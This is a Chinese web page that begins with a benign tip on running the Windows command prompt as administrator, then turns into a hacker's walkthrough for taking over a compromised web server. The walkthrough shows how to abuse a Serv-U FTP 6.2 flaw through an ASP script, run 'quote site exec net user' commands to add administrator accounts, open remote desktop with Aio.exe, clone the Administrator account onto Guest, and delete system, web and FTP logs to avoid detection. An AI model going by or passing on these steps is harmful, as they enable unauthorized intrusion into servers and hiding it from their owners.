cmd拒绝访问怎么提权_服务器知识

cmd拒绝访问提权的方法是：

1、在CMD控制台界面中进行操作时，当出现“请求的操作需要提升”的提示时，我们需要按以下方法来操作来解决问题。

在桌面左下角的“Cortana”语音搜索助手框中输入“cmd”，待搜索结果出现后，右击“命令提示符”从其右键菜单中选择“以管理员身份运行”项。

2、待打开“命令提示符”界面后，在窗口左上角出显示“管理员：命令提示符”的提示，此时表明命令提示符操作权限被提升，在此就可以使用相关命令进行操作啦。

其它cmd的问题是：

1、cmd执行exp没回显的解决方法：com路径那里输入exp路径C:\RECYCLER\pr.exe，命令那里清空(包括/c )输入”net user key daxia /add”。

2、当添加不上用户却可以添加“增加用户的Vbs、bat）的时候，就添加一个吧，然后用“直接使服务器蓝屏重启的东东”让服务器重启就提权成功。

3、支持aspx但跨不了目录的时候，可以上传一个读iis的vbs，执行命令列出所有网站目录，找到主站的目录就可以跨过去了，上传cscript.exe到可执行目录。

开始要提权首先得看看这里服务器信息-组件支持一般提权都会利用到这个

wscript.shell √ 命令行执行组件

在看看这里开了终端了有时候没开也会显示3389

个人爱好提权的时候先看看有没有FTP 还有有没有开启终端的

方法比较简单看操作 CMD里面输入命令FTP 目标地址显示Serv-U FTP Server v6.2

有开FTP 而且是6.2版本的有利用价值这个让我们想到FTP的提权

连得上说明开着（小提示如果没连得上有可能是改端口了也有可能是没开可以用扫描器扫一下）

接着上传一个ASP的提权脚本 lake大哥的大家都熟悉吧都英文来的

我简单说明一下就好了 Add User 这里是添加 Del User 删除

RUN提交上面的默认不用修改 FTP user lake pass admin123 添加了

FTP帐号 lake 密码 admin123

连连呵呵进去了说明添加帐户成功接下来呢就添加管理员帐号了如果没开终端的话也可以现在开

说明一下现在添加的这个lake帐户是具有管理权限的哦用到下面的命令

quote site exec net user shayu 83073645 /add添加用户

200 EXEC command successful (TID=33).

成功继续添加权限

200 EXEC command successful (TID=33) OK了

服务器的3389已经被我开过了我简单演示一下怎么开就OK了

用到一个工具AIO.exe 对了还得看看对方的机子是什么系统才好开3389 我已经事先看了

集体的是在WEBSHELL里面用CMD命令 VER 就可以知道了没权限的话就自己传个CMD过去

现在看操作我用工具传过去比较方便点

命令 quote site exec Aio.exe -Terminal 3389

在这里输入不过注意下那个是FTP下运行的命令所以要在前面加上quote site exec这个才可以

OK 开了在用这个命令Aio.exe -Clone Administrator Guest 83073645克隆帐户也可以用之前的直接

登陆也可以 OK 到这里提权就完毕了接下来的自由发挥了

走的时候别忘了擦PP咯不然给人抓了我可不管了那边的是我用GUEST帐号登陆的忽忽

清楚系统的日志掉了可以的话大家自己找找WEB的日志还有FTP的都要删除掉我就不演示了

就到这里 88咯

cmd拒绝访问怎么提权